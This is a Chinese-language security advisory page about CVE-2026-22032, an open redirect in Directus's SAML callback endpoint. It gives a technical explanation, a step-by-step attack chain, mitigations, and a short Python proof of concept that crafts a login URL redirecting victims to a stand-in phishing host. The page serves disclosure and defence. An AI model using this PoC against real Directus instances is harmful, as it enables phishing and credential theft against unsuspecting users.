IPBUF安全漏洞报告
English
CVE-2026-22032 CVSS 4.3 中危

CVE-2026-22032 Directus SAML认证开放重定向漏洞

披露日期: 2026-01-08

漏洞信息

漏洞编号
CVE-2026-22032
漏洞类型
开放重定向(Open Redirect)
CVSS评分
4.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
Directus

相关标签

开放重定向SAML认证DirectusCVE-2026-22032中间件漏洞身份认证绕过Web应用安全

漏洞概述

CVE-2026-22032是GitHub安全团队发现的影响Directus系统的开放重定向漏洞。Directus是一款实时API和应用仪表板,用于管理SQL数据库内容。该漏洞存在于SAML认证回调端点中,未经授权的攻击者可利用此漏洞将用户重定向至任意外部网站。漏洞的根本原因在于SAML认证流程中的RelayState参数验证机制不完整:虽然登录发起流程会对重定向目标进行域名验证,但回调端点缺少相应的验证逻辑。攻击者可以构造恶意的SAML认证请求,在认证完成后将受害者重定向到钓鱼网站或恶意站点。此漏洞在认证成功和错误处理两条路径均存在利用面,且无需认证即可发起攻击,但需要诱导用户点击恶意链接。该漏洞已于版本11.14.0中修复。

技术细节

该漏洞的核心问题在于Directus的SAML认证实现中,对RelayState参数的处理存在安全缺陷。RelayState是SAML协议中用于在认证过程中保持用户原始目标状态的参数。在正常的SAML认证流程中,用户首先访问需要认证的资源,系统生成认证请求并重定向到身份提供商(IdP),用户完成认证后,IdP将用户重定向回Directus的回调端点,并携带SAML响应和RelayState参数。回调端点应该验证RelayState中指定的目标URL是否属于允许的域名范围。然而,分析发现Directus在回调端点(/auth/saml/callback)并未实施与登录发起端点相同的域名白名单验证。攻击者可以构造包含外部恶意URL的RelayState参数,当用户完成SAML认证后,无论认证成功或失败,都会被重定向到攻击者控制的网站。这种开放重定向可用于钓鱼攻击,窃取用户凭据或进行进一步的攻击。漏洞影响所有使用SAML认证的Directus实例。

攻击链分析

STEP 1
步骤1
攻击者构建恶意SAML认证URL,在RelayState参数中嵌入外部恶意域名(如钓鱼网站URL)
STEP 2
步骤2
攻击者通过钓鱼邮件、社交工程等方式诱导目标用户点击恶意链接
STEP 3
步骤3
用户浏览器访问恶意URL,被重定向到SAML身份提供商(IdP)进行认证
STEP 4
步骤4
用户在IdP完成正常的SAML认证流程
STEP 5
步骤5
IdP将SAML响应和未验证的RelayState参数重定向回Directus的回调端点(/auth/saml/callback)
STEP 6
步骤6
Directus回调端点由于缺少RelayState域名验证,直接使用其中的URL进行重定向
STEP 7
步骤7
用户被重定向到攻击者控制的恶意网站,可能面临凭据窃取、恶意软件感染等后续攻击

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import urllib.parse # CVE-2026-22032 PoC - Directus SAML Open Redirect # Target: Directus instance with SAML authentication enabled def generate_malicious_saml_request(target_url, redirect_target): """ Generate malicious SAML authentication request with open redirect Args: target_url: Base URL of vulnerable Directus instance redirect_target: Malicious URL to redirect victims to """ # Construct the malicious SAML initiation URL # The RelayState parameter is not validated in the callback endpoint relay_state = urllib.parse.quote(redirect_target) # SAML login initiation endpoint saml_init_url = f"{target_url}/auth/saml/login?relay_state={relay_state}" return saml_init_url def exploit_open_redirect(target_url, redirect_target): """ Exploit the open redirect vulnerability This PoC demonstrates how an attacker can craft a malicious link that redirects users to an arbitrary URL after SAML authentication. """ malicious_url = generate_malicious_saml_request(target_url, redirect_target) print(f"[*] Target: {target_url}") print(f"[*] Malicious Redirect Target: {redirect_target}") print(f"[*] Generated Malicious URL: {malicious_url}") print(f"\n[!] Send this URL to victims to trigger the redirect") # The attack flow: # 1. Victim clicks the malicious URL # 2. User is redirected to IdP for authentication # 3. After authentication, callback endpoint receives response # 4. Without proper validation, RelayState is used for redirect # 5. Victim is redirected to attacker's controlled site return malicious_url # Example usage if __name__ == "__main__": target = "https://vulnerable-directus.example.com" malicious_site = "https://evil-phishing-site.com/fake-login" exploit_open_redirect(target, malicious_site)

影响范围

Directus < 11.14.0

防御指南

临时缓解措施
如果无法立即升级,可采取以下临时缓解措施:1) 在Web服务器层面配置规则,拦截包含外部域名的RelayState参数;2) 限制SAML认证仅对特定IP范围开放;3) 加强对用户的钓鱼防护培训,提醒用户警惕异常的登录重定向行为;4) 实施额外的身份验证机制如MFA,增加攻击利用难度。建议尽快升级到官方发布的安全版本11.14.0以根本修复此漏洞。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表